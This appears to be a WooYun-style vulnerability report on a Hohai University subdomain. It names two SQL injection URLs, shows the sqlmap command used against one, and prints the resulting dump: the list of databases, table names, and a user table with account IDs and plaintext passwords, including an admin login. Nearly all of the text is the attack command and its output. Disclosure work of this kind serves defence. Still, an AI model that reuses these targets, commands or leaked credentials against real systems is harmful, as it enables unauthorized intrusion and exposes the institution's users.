WooYun.org

注入点：第一出： http://sljzw.hhu.edu.cn/fen/cata.aspx?type=75
第二处：http://sljzw.hhu.edu.cn/fen/showmore.aspx?newstype=2
C:\Users\Administrator>sqlmap.py -u http://sljzw.hhu.edu.cn/fen/cata.aspx?type
=75 --dbs
available databases [24]:
[*] ChengGuo
[*] HH_Course
[*] HH_Course_2010
[*] HH_lw
[*] HH_StarOfWater
[*] HH_Teachers
[*] HHDX_DiaoCha
[*] HHDX_DiaoCha_OLD
[*] innovation
[*] lunwen
[*] lunwenII
[*] lunwenIIold
[*] lwtest
[*] master
[*] model
[*] msdb
[*] Northwind
[*] pubs
[*] shuili
[*] suili
[*] tempdb
[*] TeSeZhuanYe
[*] TMJSFG
[*] XFRD
Database: HH_Course
[12 tables]
+----------------+
| T_Answer |
| T_News |
| T_Question |
| T_Type |
| T_User |
| T_XueYuan |
| T_ZhuanYe |
| V_Answer |
| V_Question |
| dtproperties |
| sysconstraints |
| syssegments |
+----------------+
Database: HH_Course
Table: T_User
[3 entries]
+--------+----+-----+-----------+----------+-----------------------+------------
------+
| UserId | No | Pwd | Role | UserName | UserFile | FileTheme
|
+--------+----+-----+-----------+----------+-----------------------+------------
------+
| Admin | 1 | 1 | Admin | ??攷?晤??塔 | ImagesData/Admin/2170 | ImagesDa
ta/Admin |
| 11 | 2 | 11 | Principal | 11 | NULL | NULL
|
| 22 | 3 | 22 | Principal | 22 | NULL | NULL
|
+--------+----+-----+-----------+----------+-----------------------+------------
Database: HH_Teachers
[48 tables]
+---------------------------+
| T_Answer |
| T_BMXiangMu |
| T_BaoMing |
| T_CiShu |
| T_DDPJ |
| T_Email |
| T_GQSJ |
| T_HDBM |
| T_JXLiNian |
| T_JXZiLiao |
| T_News |
| T_Question |
| T_SelTeachingConsultation |
| T_SelXiangMu |
| T_StudentPJ |
| T_TCType |
| T_THPJ |
| T_TeachingConsultation |
| T_Type |
| T_User |
| T_XMBM |
| T_XueYuan |
| T_ZHKaoHe |
| T_ZhuanYe |
| T_ZhuanYes |
| V_001 |
| V_Answer |
| V_JLHD |
| V_Question |
| V_TeachingConsultation |
| dtproperties |
| sysconstraints |
| syssegments |
| t_DAnswer |
| t_DOption |
| t_DiaoCha |
| t_DiaoChaTM |
| t_Dtimu |
| t_HDAnswer |
| t_HDQuestion |
| t_JSKHJG |
| t_JSPingJia |
| t_JXHuoDong |
| t_JsTypeQiShu |
| t_QiShu |
| t_TeacherInfo |
| t_XueQi |
| t_keCheng |
+---------------------------+